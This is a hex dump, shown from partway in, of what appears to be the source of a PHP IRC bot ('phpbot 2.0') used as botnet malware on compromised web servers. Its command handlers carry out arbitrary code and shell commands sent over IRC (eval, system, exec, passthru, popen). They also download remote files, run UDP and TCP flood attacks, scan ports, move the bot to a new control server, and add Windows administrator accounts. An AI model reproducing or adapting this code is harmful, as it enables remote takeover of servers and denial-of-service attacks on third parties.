10688: 6C705C325D3A202E7265737461727420756E74756B207265737461727420626F          lp\2]: .restart untuk restart bo
10720: 7422293B0D0A09090909090920202024746869732D3E707269766D7367282474          t"); $this->privmsg($t
10752: 6869732D3E636F6E6669675B276368616E275D2C225B5C32636F6D616E642068          his->config['chan'],"[\2comand h
10784: 656C705C325D3A202E64696520756E74756B206B696C6C2070726F7365732062          elp\2]: .die untuk kill proses b
10816: 6F7422293B0D0A09090909090920202024746869732D3E707269766D73672824          ot"); $this->privmsg($
10848: 746869732D3E636F6E6669675B276368616E275D2C225B5C32636F6D616E6420          this->config['chan'],"[\2comand
10880: 68656C705C325D3A202E756470666C6F6F64203C7461726765743E203C706163          help\2]: .udpflood <target> <pac
10912: 6B6574733E203C7061636B657473697A653E203C64656C61793E20756E74756B          kets> <packetsize> <delay> untuk
10944: 20666C6F6F6420756470207375617475206A6172696E67616E22293B0D0A0909          flood udp suatu jaringan");
10976: 0909090920202024746869732D3E707269766D73672824746869732D3E636F6E          $this->privmsg($this->con
11008: 6669675B276368616E275D2C225B5C32636F6D616E642068656C705C325D3A20          fig['chan'],"[\2comand help\2]:
11040: 2E746370666C6F6F64203C7461726765743E203C7061636B6574733E203C7061          .tcpflood <target> <packets> <pa
11072: 636B657473697A653E203C706F72743E203C64656C61793E20756E74756B2066          cketsize> <port> <delay> untuk f
11104: 6C6F6F6420706F7274206A6172696E67616E22293B0D0A090909090909202020          lood port jaringan");
11136: 24746869732D3E707269766D73672824746869732D3E636F6E6669675B276368          $this->privmsg($this->config['ch
11168: 616E275D2C225B5C32636F6D616E642068656C705C325D3A202E707363616E20          an'],"[\2comand help\2]: .pscan
11200: 3C686F73743E203C706F72743E20756E74756B207363616E20706F727422293B          <host> <port> untuk scan port");
11232: 0D0A09090909090920202024746869732D3E707269766D73672824746869732D          $this->privmsg($this-
11264: 3E636F6E6669675B276368616E275D2C225B5C32636F6D616E642068656C705C          >config['chan'],"[\2comand help\
11296: 325D3A202E646E73203C686F73746E616D653E20756E74756B206C6F6F6B696E          2]: .dns <hostname> untuk lookin
11328: 6720646E7322293B0D0A09090909090920202024746869732D3E707269766D73          g dns"); $this->privms
11360: 672824746869732D3E636F6E6669675B276368616E275D2C225B5C32636F6D61          g($this->config['chan'],"[\2coma
11392: 6E642068656C705C325D3A202E646F776E6C6F6164203C55524C3E203C66696C          nd help\2]: .download <URL> <fil
11424: 656E616D653E20756E74756B20646F776E6C6F61642066696C6522293B0D0A09          ename> untuk download file");
11456: 090909090920202024746869732D3E707269766D73672824746869732D3E636F          $this->privmsg($this->co
11488: 6E6669675B276368616E275D2C225B5C32636F6D616E642068656C705C325D3A          nfig['chan'],"[\2comand help\2]:
11520: 202E726E646368616E20756E74756B2067616E7469206368616E20626F742229          .rndchan untuk ganti chan bot")
11552: 3B0D0A09090909090920202024746869732D3E707269766D7367282474686973          ; $this->privmsg($this
11584: 2D3E636F6E6669675B276368616E275D2C225B5C32636F6D616E642068656C70          ->config['chan'],"[\2comand help
11616: 5C325D3A202E72647068656C7020756E74756B2062616E7475616E20636F6D6D          \2]: .rdphelp untuk bantuan comm
11648: 616E6420524450203A20666F722077696E646F77732073657276657222293B0D          and RDP : for windows server");
11680: 0A09090909090920202024746869732D3E707269766D73672824746869732D3E          $this->privmsg($this->
11712: 636F6E6669675B276368616E275D2C225B5C32636F6D616E642068656C705C32          config['chan'],"[\2comand help\2
11744: 5D3A202E6C6F676F757422293B0D0A2020202020202020202020202020202020          ]: .logout");
11776: 2020202020202020202009090920202024746869732D3E707269766D73672824          $this->privmsg($
11808: 746869732D3E636F6E6669675B276368616E275D2C225B5C32636F6D616E6420          this->config['chan'],"[\2comand
11840: 68656C705C325D3A200303372C31280331344D03342E0331346103342E033134          help\2]: 7,1(14M4.14a4.14
11872: 6C03342E0331346503342E0331346E03342E0331344703313240033134540334          l4.14e4.14n4.14G12@14T4
11904: 2E033134652E0331346103342E0331344D03372C312922293B0D0A0909090909          .14e.14a4.14M7,1)");
11936: 0920202024746869732D3E707269766D73672824746869732D3E636F6E666967          $this->privmsg($this->config
11968: 5B276368616E275D2C225B5C32636F6D616E642068656C705C325D3A202E7365          ['chan'],"[\2comand help\2]: .se
12000: 786563203C686F73746E616D653E20756E74756B206D656C6968617420686F73          xec <hostname> untuk melihat hos
12032: 7422293B0D0A09090909090920202024746869732D3E707269766D7367282474          t"); $this->privmsg($t
12064: 6869732D3E636F6E6669675B276368616E275D2C225B5C32636F6D616E642068          his->config['chan'],"[\2comand h
12096: 656C705C325D3A202E7365786563203C6E657420757365723E20756E74756B20          elp\2]: .sexec <net user> untuk
12128: 6D656C696861742075736572206C69737422293B0D0A09090909090920202024          melihat user list"); $
12160: 746869732D3E707269766D73672824746869732D3E636F6E6669675B27636861          this->privmsg($this->config['cha
12192: 6E275D2C225B5C32636F6D616E642068656C705C325D3A202E7365786563203C          n'],"[\2comand help\2]: .sexec <
12224: 6E657420757365726E616D652070617373776F7264202F6164643E20756E7475          net username password /add> untu
12256: 6B206D656E616D62616820757365722061636F756E7422293B0D0A2020202020          k menambah user acount");
12288: 2020202020202020202020202020202020202020200909092020202474686973          $this
12320: 2D3E707269766D73672824746869732D3E636F6E6669675B276368616E275D2C          ->privmsg($this->config['chan'],
12352: 225B5C32636F6D616E642068656C705C325D3A202E7365786563203C6E657420          "[\2comand help\2]: .sexec <net
12384: 6C6F63616C67726F75702061646D696E6973747261746F72732061636F756E74          localgroup administrators acount
12416: 55736572202F6164643E20756E74756B206D656E616D6261686B616E20757365          User /add> untuk menambahkan use
12448: 72206B65206C6F63616C67726F75702061646D696E6973747261746F72732229          r ke localgroup administrators")
12480: 3B0D0A09090909090920202024746869732D3E707269766D7367282474686973          ; $this->privmsg($this
12512: 2D3E636F6E6669675B276368616E275D2C225B5C32636F6D616E642068656C70          ->config['chan'],"[\2comand help
12544: 5C325D3A202E7365786563203C6E6574207573657220757365726E616D65202F          \2]: .sexec <net user username /
12576: 64656C6574653E20756E74756B206D656E67686170757320757365722061636F          delete> untuk menghapus user aco
12608: 756E7422293B0D0A09090909090920202024746869732D3E707269766D736728          unt"); $this->privmsg(
12640: 24746869732D3E636F6E6669675B276368616E275D2C225B5C32636F6D616E64          $this->config['chan'],"[\2comand
12672: 2068656C705C325D3A205265636F64696E672062793A200303372C3128033134          help\2]: Recoding by: 7,1(14
12704: 4D03342E0331346103342E0331346C03342E0331346503342E0331346E03342E          M4.14a4.14l4.14e4.14n4.
12736: 03313447033132400331345403342E033134652E0331346103342E0331344D03          14G12@14T4.14e.14a4.14M
12768: 372C31292073696E6365203A204D61726574203230313022293B0D0A09090909          7,1) since : Maret 2 1 ");
12800: 090920202024746869732D3E707269766D73672824746869732D3E636F6E6669          $this->privmsg($this->confi
12832: 675B276368616E275D2C225B5C32636F6D616E642068656C705C325D3A205365          g['chan'],"[\2comand help\2]: Se
12864: 6C616D6174206D656E636F6261205E5F5E22293B092020200D0A202020202020          lamat mencoba ^_^");
12896: 20202020202020200909092020627265616B3B0D0A0D0A0D0A0D0A0D0A202020          break;
12928: 202020202020202020202009090D0A2020202020202020202020202020202020         
12960: 2020202020202020202020636173652022696E666F223A0D0A20202020202020          case "info":
12992: 20202020202020202020202020202020202020202063617365202276756E6C22          case "vunl"
13024: 3A0D0A2020202020202020202020202020202020202020202020202020202020          :
13056: 20206966202840696E695F6765742822736166655F6D6F64652229206F722073          if (@ini_get("safe_mode") or s
13088: 7472746F6C6F7765722840696E695F6765742822736166655F6D6F6465222929          trtolower(@ini_get("safe_mode"))
13120: 203D3D20226F6E2229207B2024736166656D6F6465203D20226F6E223B207D0D          == "on") { $safemode = "on"; }
13152: 0A20202020202020202020202020202020202020202020202020202020202020         
13184: 656C7365207B2024736166656D6F6465203D20226F6666223B207D0D0A202020          else { $safemode = "off"; }
13216: 2020202020202020202020202020202020202020202020202020202024756E61          $una
13248: 6D65203D207068705F756E616D6528293B0D0A20202020202020202020202020          me = php_uname();
13280: 20202020202020202020202020202020202024746869732D3E707269766D7367          $this->privmsg
13312: 2824746869732D3E636F6E6669675B276368616E275D2C225B5C32696E666F5C          ($this->config['chan'],"[\2info\
13344: 325D3A2024756E616D652028736166653A2024736166656D6F64652922293B0D          2]: $uname (safe: $safemode)");
13376: 0A20202020202020202020202020202020202020202020202020202020202020         
13408: 24746869732D3E707269766D73672824746869732D3E636F6E6669675B276368          $this->privmsg($this->config['ch
13440: 616E275D2C225B5C3276756C6E5C325D3A20687474703A2F2F222E245F534552          an'],"[\2vuln\2]: http://".$_SER
13472: 5645525B275345525645525F4E414D45275D2E22222E245F5345525645525B27          VER['SERVER_NAME']."".$_SERVER['
13504: 524551554553545F555249275D2E2222293B0D0A202020202020202020202020          REQUEST_URI']."");
13536: 20202020202020202020202020202020627265616B3B0D0A2020202020202020          break;
13568: 2020202020202020202020202020202020202020636173652022626F74223A0D          case "bot":
13600: 0A20202020202020202020202020202020202020202020202020202020202020         
13632: 24746869732D3E707269766D73672824746869732D3E636F6E6669675B276368          $this->privmsg($this->config['ch
13664: 616E275D2C225B5C32626F745C325D3A20706870626F7420322E302062793B20          an'],"[\2bot\2]: phpbot 2.  by;
13696: 236D616C696E6B2E75732E746F22293B0D0A2020202020202020202020202020          #malink.us.to");
13728: 2020202020202020202020202020627265616B3B0D0A20202020202020202020          break;
13760: 202020202020202020202020202020202020636173652022756E616D65223A0D          case "uname":
13792: 0A20202020202020202020202020202020202020202020202020202020202020         
13824: 6966202840696E695F6765742822736166655F6D6F64652229206F7220737472          if (@ini_get("safe_mode") or str
13856: 746F6C6F7765722840696E695F6765742822736166655F6D6F6465222929203D          tolower(@ini_get("safe_mode")) =
13888: 3D20226F6E2229207B2024736166656D6F6465203D20226F6E223B207D0D0A20          = "on") { $safemode = "on"; }
13920: 202020202020202020202020202020202020202020202020202020202020656C          el
13952: 7365207B2024736166656D6F6465203D20226F6666223B207D0D0A2020202020          se { $safemode = "off"; }
13984: 202020202020202020202020202020202020202020202020202024756E616D65          $uname
14016: 203D207068705F756E616D6528293B0D0A202020202020202020202020202020          = php_uname();
14048: 2020202020202020202020202020202024746869732D3E707269766D73672824          $this->privmsg($
14080: 746869732D3E636F6E6669675B276368616E275D2C225B5C32696E666F5C325D          this->config['chan'],"[\2info\2]
14112: 3A2024756E616D652028736166653A2024736166656D6F64652922293B0D0A20          : $uname (safe: $safemode)");
14144: 202020202020202020202020202020202020202020202020202020627265616B          break
14176: 3B0D0A2020202020202020202020202020202020202020202020202020202063          ; c
14208: 6173652022726E646E69636B223A200D0A202020202020202020202020202020          ase "rndnick":
14240: 2020202020202020202020202020202024746869732D3E7365745F6E69636B28          $this->set_nick(
14272: 293B200D0A202020202020202020202020202020202020202020202020202020          );
14304: 20627265616B3B200D0A20202020202020202020202020202020202020202020          break;
14336: 202020202020636173652022726177223A0D0A20202020202020202020202020          case "raw":
14368: 20202020202020202020202020202020202024746869732D3E73656E64287374          $this->send(st
14400: 7273747228246D73672C246D636D645B315D29293B200D0A2020202020202020          rstr($msg,$mcmd[1]));
14432: 2020202020202020202020202020202020202020627265616B3B200D0A202020          break;
14464: 2020202020202020202020202020202020202020202020202063617365202265          case "e
14496: 76616C223A0D0A20202020202020202020202020202020202020202020202020          val":
14528: 2020202020246576616C203D206576616C287375627374722873747273747228          $eval = eval(substr(strstr(
14560: 246D73672C246D636D645B315D292C7374726C656E28246D636D645B315D2929          $msg,$mcmd[1]),strlen($mcmd[1]))
14592: 293B0D0A20202020202020202020202020202020202020202020202020202020          );
14624: 627265616B3B0D0A090909202020202020202020202020202020206361736520          break; case
14656: 227365786563223A0D0A20202020202020202020202020202020202020202020          "sexec":
14688: 20202020202020202024636F6D6D616E64203D20737562737472287374727374          $command = substr(strst
14720: 7228246D73672C246D636D645B305D292C7374726C656E28246D636D645B305D          r($msg,$mcmd[ ]),strlen($mcmd[ ]
14752: 292B31293B200D0A202020202020202020202020202020202020202020202020          )+1);
14784: 202020202020202465786563203D207368656C6C5F657865632824636F6D6D61          $exec = shell_exec($comma
14816: 6E64293B200D0A20202020202020202020202020202020202020202020202020          nd);
14848: 20202020202024726574203D206578706C6F646528225C6E222C246578656329          $ret = explode("\n",$exec)
14880: 3B200D0A20202020202020202020202020202020202020202020202020202020          ;
14912: 202020666F722824693D303B24693C636F756E742824726574293B24692B2B29          for($i= ;$i<count($ret);$i++)
14944: 200D0A2020202020202020202020202020202020202020202020202020202020         
14976: 2020202020696628247265745B24695D213D4E554C4C29200D0A202020202020          if($ret[$i]!=NULL)
15008: 2020202020202020202020202020202020202020202020202020202020202024          $
15040: 746869732D3E707269766D73672824746869732D3E636F6E6669675B27636861          this->privmsg($this->config['cha
15072: 6E275D2C222020202020203A20222E7472696D28247265745B24695D29293B20          n']," : ".trim($ret[$i]));
15104: 0D0A202020202020202020202020202020202020202020202020202020206272          br
15136: 65616B3B200D0A0D0A2020202020202020202020202020202020202020202020          eak;
15168: 202020202063617365202265786563223A200D0A202020202020202020202020          case "exec":
15200: 2020202020202020202020202020202020202024636F6D6D616E64203D207375          $command = su
15232: 627374722873747273747228246D73672C246D636D645B305D292C7374726C65          bstr(strstr($msg,$mcmd[ ]),strle
15264: 6E28246D636D645B305D292B31293B200D0A2020202020202020202020202020          n($mcmd[ ])+1);
15296: 20202020202020202020202020202020202465786563203D2065786563282463          $exec = exec($c
15328: 6F6D6D616E64293B200D0A202020202020202020202020202020202020202020          ommand);
15360: 2020202020202020202024726574203D206578706C6F646528225C6E222C2465          $ret = explode("\n",$e
15392: 786563293B200D0A202020202020202020202020202020202020202020202020          xec);
15424: 20202020202020666F722824693D303B24693C636F756E742824726574293B24          for($i= ;$i<count($ret);$
15456: 692B2B29200D0A20202020202020202020202020202020202020202020202020          i++)
15488: 202020202020202020696628247265745B24695D213D4E554C4C29200D0A2020          if($ret[$i]!=NULL)
15520: 2020202020202020202020202020202020202020202020202020202020202020         
15552: 20202024746869732D3E707269766D73672824746869732D3E636F6E6669675B          $this->privmsg($this->config[
15584: 276368616E275D2C222020202020203A20222E7472696D28247265745B24695D          'chan']," : ".trim($ret[$i]
15616: 29293B200D0A2020202020202020202020202020202020202020202020202020          ));
15648: 2020627265616B3B200D0A0D0A20202020202020202020202020202020202020          break;
15680: 2020202020202020206361736520227061737374687275223A200D0A20202020          case "passthru":
15712: 20202020202020202020202020202020202020202020202020202024636F6D6D          $comm
15744: 616E64203D207375627374722873747273747228246D73672C246D636D645B30          and = substr(strstr($msg,$mcmd[ 
15776: 5D292C7374726C656E28246D636D645B305D292B31293B200D0A202020202020          ]),strlen($mcmd[ ])+1);
15808: 202020202020202020202020202020202020202020202020202465786563203D          $exec =
15840: 2070617373746872752824636F6D6D616E64293B200D0A202020202020202020          passthru($command);
15872: 2020202020202020202020202020202020202020202024726574203D20657870          $ret = exp
15904: 6C6F646528225C6E222C2465786563293B200D0A202020202020202020202020          lode("\n",$exec);
15936: 20202020202020202020202020202020202020666F722824693D303B24693C63          for($i= ;$i<c
15968: 6F756E742824726574293B24692B2B29200D0A20202020202020202020202020          ount($ret);$i++)
16000: 202020202020202020202020202020202020202020696628247265745B24695D          if($ret[$i]
16032: 213D4E554C4C29200D0A20202020202020202020202020202020202020202020          !=NULL)
16064: 20202020202020202020202020202024746869732D3E707269766D7367282474          $this->privmsg($t
16096: 6869732D3E636F6E6669675B276368616E275D2C222020202020203A20222E74          his->config['chan']," : ".t
16128: 72696D28247265745B24695D29293B200D0A2020202020202020202020202020          rim($ret[$i]));
16160: 2020202020202020202020202020627265616B3B200D0A0D0A20202020202020          break;
16192: 202020202020202020202020202020202020202020636173652022706F70656E          case "popen
16224: 223A200D0A202020202020202020202020202020202020202020202020202020          ":
16256: 20202020696628697373657428246D636D645B315D2929200D0A202020202020          if(isset($mcmd[1]))
16288: 202020202020202020202020202020202020202020202020207B200D0A202020          {
16320: 2020202020202020202020202020202020202020202020202020202020202024          $
16352: 636F6D6D616E64203D207375627374722873747273747228246D73672C246D63          command = substr(strstr($msg,$mc
16384: 6D645B305D292C7374726C656E28246D636D645B305D292B31293B200D0A2020          md[ ]),strlen($mcmd[ ])+1);
16416: 2020202020202020202020202020202020202020202020202020202020202020         
16448: 24746869732D3E707269766D73672824746869732D3E636F6E6669675B276368          $this->privmsg($this->config['ch
16480: 616E275D2C225B5C32706F70656E5C325D3A2024636F6D6D616E6422293B0D0A          an'],"[\2popen\2]: $command");
16512: 2020202020202020202020202020202020202020202020202020202020202020         
16544: 20202470697065203D20706F70656E2824636F6D6D616E642C227222293B200D          $pipe = popen($command,"r");
16576: 0A20202020202020202020202020202020202020202020202020202020202020         
16608: 2020207768696C65282166656F662824706970652929200D0A20202020202020          while(!feof($pipe))
16640: 2020202020202020202020202020202020202020202020202020207B200D0A20          {
16672: 2020202020202020202020202020202020202020202020202020202020202020         
16704: 202020202470627566203D207472696D2866676574732824706970652C353132          $pbuf = trim(fgets($pipe,512
16736: 29293B200D0A2020202020202020202020202020202020202020202020202020          ));
16768: 2020202020202020202020696628247062756620213D204E554C4C29200D0A20          if($pbuf != NULL)
16800: 2020202020202020202020202020202020202020202020202020202020202020         
16832: 2020202020202024746869732D3E707269766D73672824746869732D3E636F6E          $this->privmsg($this->con
16864: 6669675B276368616E275D2C2220202020203A20247062756622293B200D0A20          fig['chan']," : $pbuf");
16896: 2020202020202020202020202020202020202020202020202020202020202020         
16928: 207D200D0A202020202020202020202020202020202020202020202020202020          }
16960: 2020202020202070636C6F7365282470697065293B200D0A2020202020202020          pclose($pipe);
16992: 20202020202020202020202020202020202020202020207D20200D0A09090920          }
17024: 20200D0A20202020202020202020202020202020202020202020202020202020         
17056: 63617365202273797374656D223A200D0A202020202020202020202020202020          case "system":
17088: 2020202020202020202020202020202024636F6D6D616E64203D207375627374          $command = subst
17120: 722873747273747228246D73672C246D636D645B305D292C7374726C656E2824          r(strstr($msg,$mcmd[ ]),strlen($
17152: 6D636D645B305D292B31293B200D0A2020202020202020202020202020202020          mcmd[ ])+1);
17184: 20202020202020202020202020202465786563203D2073797374656D2824636F          $exec = system($co
17216: 6D6D616E64293B200D0A20202020202020202020202020202020202020202020          mmand);
17248: 20202020202020202024726574203D206578706C6F646528225C6E222C246578          $ret = explode("\n",$ex
17280: 6563293B200D0A20202020202020202020202020202020202020202020202020          ec);
17312: 202020202020666F722824693D303B24693C636F756E742824726574293B2469          for($i= ;$i<count($ret);$i
17344: 2B2B29200D0A2020202020202020202020202020202020202020202020202020          ++)
17376: 2020202020202020696628247265745B24695D213D4E554C4C29200D0A202020          if($ret[$i]!=NULL)
17408: 2020202020202020202020202020202020202020202020202020202020202020         
17440: 202024746869732D3E707269766D73672824746869732D3E636F6E6669675B27          $this->privmsg($this->config['
17472: 6368616E275D2C222020202020203A20222E7472696D28247265745B24695D29          chan']," : ".trim($ret[$i])
17504: 293B200D0A202020202020202020202020202020202020202020202020202020          );
17536: 20627265616B3B200D0A0D0A0D0A202020202020202020202020202020202020          break;
17568: 20202020202020202020636173652022707363616E223A202F2F202E70736361          case "pscan": // .psca
17600: 6E203132372E302E302E312036363637200D0A20202020202020202020202020          n 127. . .1 6667
17632: 202020202020202020202020202020202020696628636F756E7428246D636D64          if(count($mcmd
17664: 29203E203229200D0A2020202020202020202020202020202020202020202020          ) > 2)
17696: 20202020202020207B200D0A2020202020202020202020202020202020202020          {
17728: 202020202020202020202020202069662866736F636B6F70656E28246D636D64          if(fsockopen($mcmd
17760: 5B315D2C246D636D645B325D2C24652C24732C31352929200D0A202020202020          [1],$mcmd[2],$e,$s,15))
17792: 2020202020202020202020202020202020202020202020202020202020202024          $
17824: 746869732D3E707269766D73672824746869732D3E636F6E6669675B27636861          this->privmsg($this->config['cha
17856: 6E275D2C225B5C32707363616E5C325D3A20222E246D636D645B315D2E223A22          n'],"[\2pscan\2]: ".$mcmd[1].":"
17888: 2E246D636D645B325D2E22206973205C326F70656E5C3222293B200D0A202020          .$mcmd[2]." is \2open\2");
17920: 2020202020202020202020202020202020202020202020202020202020202065          e
17952: 6C7365200D0A2020202020202020202020202020202020202020202020202020          lse
17984: 202020202020202020202024746869732D3E707269766D73672824746869732D          $this->privmsg($this-
18016: 3E636F6E6669675B276368616E275D2C225B5C32707363616E5C325D3A20222E          >config['chan'],"[\2pscan\2]: ".
18048: 246D636D645B315D2E223A222E246D636D645B325D2E22206973205C32636C6F          $mcmd[1].":".$mcmd[2]." is \2clo
18080: 7365645C3222293B200D0A202020202020202020202020202020202020202020          sed\2");
18112: 202020202020202020207D200D0A202020202020202020202020202020202020          }
18144: 20202020202020202020627265616B3B200D0A20202020202020202020202020          break;
18176: 20202020202020202020202020202063617365202275642E736572766572223A          case "ud.server":
18208: 202F2F202E75642E736572766572203C7365727665723E203C706F72743E205B          // .ud.server <server> <port> [
18240: 70617373776F72645D200D0A2020202020202020202020202020202020202020          password]
18272: 2020202020202020202020696628636F756E7428246D636D64293E3229200D0A          if(count($mcmd)>2)
18304: 202020202020202020202020202020202020202020202020202020202020207B          {
18336: 200D0A2020202020202020202020202020202020202020202020202020202020         
18368: 202020202024746869732D3E636F6E6669675B27736572766572275D203D2024          $this->config['server'] = $
18400: 6D636D645B315D3B200D0A202020202020202020202020202020202020202020          mcmd[1];
18432: 2020202020202020202020202024746869732D3E636F6E6669675B27706F7274          $this->config['port
18464: 275D203D20246D636D645B325D3B200D0A202020202020202020202020202020          '] = $mcmd[2];
18496: 20202020202020202020202020202020202020696628697373657428246D636D          if(isset($mcm
18528: 63645B335D2929200D0A20202020202020202020202020202020202020202020          cd[3]))
18560: 2020202020202020202020207B200D0A20202020202020202020202020202020          {
18592: 2020202020202020202020202020202020202024746869732D3E636F6E666967          $this->config
18624: 5B2770617373275D203D20246D636D645B335D3B200D0A202020202020202020          ['pass'] = $mcmd[3];
18656: 202020202020202020202020202020202020202020202020202024746869732D          $this-
18688: 3E707269766D73672824746869732D3E636F6E6669675B276368616E275D2C22          >privmsg($this->config['chan'],"
18720: 5B5C327570646174655C325D3A205365727665722074726F6361646F20706172          [\2update\2]: Server trocado par
18752: 6120222E246D636D645B315D2E223A222E246D636D645B325D2E222053656E68          a ".$mcmd[1].":".$mcmd[2]." Senh
18784: 613A20222E246D636D645B335D293B200D0A2020202020202020202020202020          a: ".$mcmd[3]);
18816: 20202020202020202020202020202020202020207D200D0A2020202020202020          }
18848: 2020202020202020202020202020202020202020202020202020656C7365200D          else
18880: 0A20202020202020202020202020202020202020202020202020202020202020         
18912: 2020207B200D0A20202020202020202020202020202020202020202020202020          {
18944: 20202020202020202020202024746869732D3E707269766D7367282474686973          $this->privmsg($this
18976: 2D3E636F6E6669675B276368616E275D2C225B5C327570646174655C325D3A20          ->config['chan'],"[\2update\2]:
19008: 5365727665722074726F6361646F207061726120222E246D636D645B315D2E22          Server trocado para ".$mcmd[1]."
19040: 3A222E246D636D645B325D293B200D0A20202020202020202020202020202020          :".$mcmd[2]);
19072: 2020202020202020202020202020202020207D200D0A20202020202020202020          }
19104: 2020202020202020202020202020202020202020207D200D0A20202020202020          }
19136: 202020202020202020202020202020202020202020627265616B3B200D0A2020          break;
19168: 2020202020202020202020202020202020202020202020202020636173652022          case "
19200: 646F776E6C6F6164223A200D0A20202020202020202020202020202020202020          download":
19232: 202020202020202020202020696628636F756E7428246D636D6429203E203229          if(count($mcmd) > 2)
19264: 200D0A2020202020202020202020202020202020202020202020202020202020         
19296: 20207B200D0A2020202020202020202020202020202020202020202020202020          {
19328: 202020202020202069662821246670203D20666F70656E28246D636D645B325D          if(!$fp = fopen($mcmd[2]
19360: 2C2277222929200D0A2020202020202020202020202020202020202020202020          ,"w"))
19392: 20202020202020202020207B200D0A2020202020202020202020202020202020          {
19424: 202020202020202020202020202020202020202024746869732D3E707269766D          $this->privm
19456: 73672824746869732D3E636F6E6669675B276368616E275D2C225B5C32646F77          sg($this->config['chan'],"[\2dow
19488: 6E6C6F61645C325D3A204E616F20666F6920706F73736976656C2066617A6572          nload\2]: Nao foi possivel fazer
19520: 206F20646F776E6C6F61642E205065726D697373616F206E65676164612E2229          o download. Permissao negada.")
19552: 3B200D0A20202020202020202020202020202020202020202020202020202020          ;
19584: 2020202020207D200D0A20202020202020202020202020202020202020202020          }
19616: 202020202020202020202020656C7365200D0A20202020202020202020202020          else
19648: 2020202020202020202020202020202020202020207B200D0A20202020202020          {
19680: 2020202020202020202020202020202020202020202020202020202020206966          if
19712: 282124676574203D2066696C6528246D636D645B315D2929200D0A2020202020          (!$get = file($mcmd[1]))
19744: 2020202020202020202020202020202020202020202020202020202020202020         
19776: 7B200D0A20202020202020202020202020202020202020202020202020202020          {
19808: 20202020202020202020202024746869732D3E707269766D7367282474686973          $this->privmsg($this
19840: 2D3E636F6E6669675B276368616E275D2C225B5C32646F776E6C6F61645C325D          ->config['chan'],"[\2download\2]
19872: 3A204E616F20666F6920706F73736976656C2066617A6572206F20646F776E6C          : Nao foi possivel fazer o downl
19904: 6F6164206465205C32222E246D636D645B315D2E225C3222293B200D0A202020          oad de \2".$mcmd[1]."\2");
19936: 2020202020202020202020202020202020202020202020202020202020202020         
19968: 20207D200D0A2020202020202020202020202020202020202020202020202020          }
20000: 2020202020202020202020656C7365200D0A2020202020202020202020202020          else
20032: 20202020202020202020202020202020202020202020207B200D0A2020202020          {
20064: 2020202020202020202020202020202020202020202020202020202020202020         
20096: 202020666F722824693D303B24693C3D636F756E742824676574293B24692B2B          for($i= ;$i<=count($get);$i++
20128: 29200D0A20202020202020202020202020202020202020202020202020202020          )
20160: 2020202020202020202020207B200D0A20202020202020202020202020202020          {
20192: 2020202020202020202020202020202020202020202020202020206677726974          fwrit
20224: 65282466702C246765745B24695D293B200D0A20202020202020202020202020          e($fp,$get[$i]);
20256: 2020202020202020202020202020202020202020202020202020207D200D0A20          }
20288: 2020202020202020202020202020202020202020202020202020202020202020         
20320: 2020202020202024746869732D3E707269766D73672824746869732D3E636F6E          $this->privmsg($this->con
20352: 6669675B276368616E275D2C225B5C32646F776E6C6F61645C325D3A20417271          fig['chan'],"[\2download\2]: Arq
20384: 7569766F205C32222E246D636D645B315D2E225C32206261697861646F207061          uivo \2".$mcmd[1]."\2 baixado pa
20416: 7261205C32222E246D636D645B325D2E225C3222293B200D0A20202020202020          ra \2".$mcmd[2]."\2");
20448: 2020202020202020202020202020202020202020202020202020202020207D20          }
20480: 0D0A202020202020202020202020202020202020202020202020202020202020         
20512: 2020202020202066636C6F736528246670293B200D0A20202020202020202020          fclose($fp);
20544: 2020202020202020202020202020202020202020202020207D200D0A20202020          }
20576: 2020202020202020202020202020202020202020202020202020207D0D0A2020          }
20608: 2020202020202020202020202020202020202020202020202020202020656C73          els
20640: 65207B2024746869732D3E707269766D73672824746869732D3E636F6E666967          e { $this->privmsg($this->config
20672: 5B276368616E275D2C225B5C32646F776E6C6F61645C325D3A20757365202E64          ['chan'],"[\2download\2]: use .d
20704: 6F776E6C6F616420687474703A2F2F796F75722E686F73742F66696C65202F74          ownload http://your.host/file /t
20736: 6D702F66696C6522293B207D0D0A202020202020202020202020202020202020          mp/file"); }
20768: 20202020202020202020627265616B3B200D0A20202020202020202020202020          break;
20800: 202020202020202020202020202020636173652022646965223A200D0A202020          case "die":
20832: 2020202020202020202020202020202020202020202020202020202024746869          $thi
20864: 732D3E73656E64282251554954203A64696520636F6D6D616E642066726F6D20          s->send("QUIT :die command from
20896: 246E69636B22293B0D0A20202020202020202020202020202020202020202020          $nick");
20928: 20202020202020202066636C6F73652824746869732D3E636F6E6E293B200D0A          fclose($this->conn);
20960: 2020202020202020202020202020202020202020202020202020202020202065          e
20992: 7869743B200D0A20202020202020202020202020202020202020202020202020          xit;
21024: 2020206361736520226C6F676F7574223A200D0A202020202020202020202020          case "logout":
21056: 2020202020202020202020202020202020202024746869732D3E6C6F675F6F75          $this->log_ou
21088: 742824686F7374293B200D0A2020202020202020202020202020202020202020          t($host);
21120: 202020202020202020202024746869732D3E707269766D73672824746869732D          $this->privmsg($this-
21152: 3E636F6E6669675B276368616E275D2C225B5C32617574685C325D3A20246E69          >config['chan'],"[\2auth\2]: $ni
21184: 636B206465736C6F6761646F2122293B200D0A20202020202020202020202020          ck deslogado!");
21216: 202020202020202020202020202020627265616B3B200D0A2020202020202020          break;
21248: 2020202020202020202020202020202020202020636173652022756470666C6F          case "udpflo
21280: 6F64223A200D0A20202020202020202020202020202020202020202020202020          od":
21312: 202020202020696628636F756E7428246D636D64293E3329200D0A2020202020          if(count($mcmd)>3)
21344: 20202020202020202020202020202020202020202020202020207B200D0A2020          {
21376: 2020202020202020202020202020202020202020202020202020202020202020         
21408: 24746869732D3E756470666C6F6F6428246D636D645B315D2C246D636D645B32          $this->udpflood($mcmd[1],$mcmd[2
21440: 5D2C246D636D645B335D293B200D0A2020202020202020202020202020202020          ],$mcmd[3]);
21472: 20202020202020202020202020207D200D0A2020202020202020202020202020          }
21504: 2020202020202020202020202020627265616B3B200D0A202020202020202020          break;
21536: 20202020202020202020202020202020202020636173652022746370666C6F6F          case "tcpfloo
21568: 64223A200D0A2020202020202020202020202020202020202020202020202020          d":
21600: 2020202020696628636F756E7428246D636D64293E3529200D0A202020202020          if(count($mcmd)>5)
21632: 202020202020202020202020202020202020202020202020207B200D0A202020          {
21664: 2020202020202020202020202020202020202020202020202020202020202024          $
21696: 746869732D3E746370666C6F6F6428246D636D645B315D2C246D636D645B325D          this->tcpflood($mcmd[1],$mcmd[2]
21728: 2C246D636D645B335D2C246D636D645B345D2C246D636D645B355D293B200D0A          ,$mcmd[3],$mcmd[4],$mcmd[5]);
21760: 202020202020202020202020202020202020202020202020202020202020207D          }
21792: 200D0A2020202020202020202020202020202020202020202020202020202062          b
21824: 7265616B3B200D0A202020202020202020202020202020202020202020202020          reak;
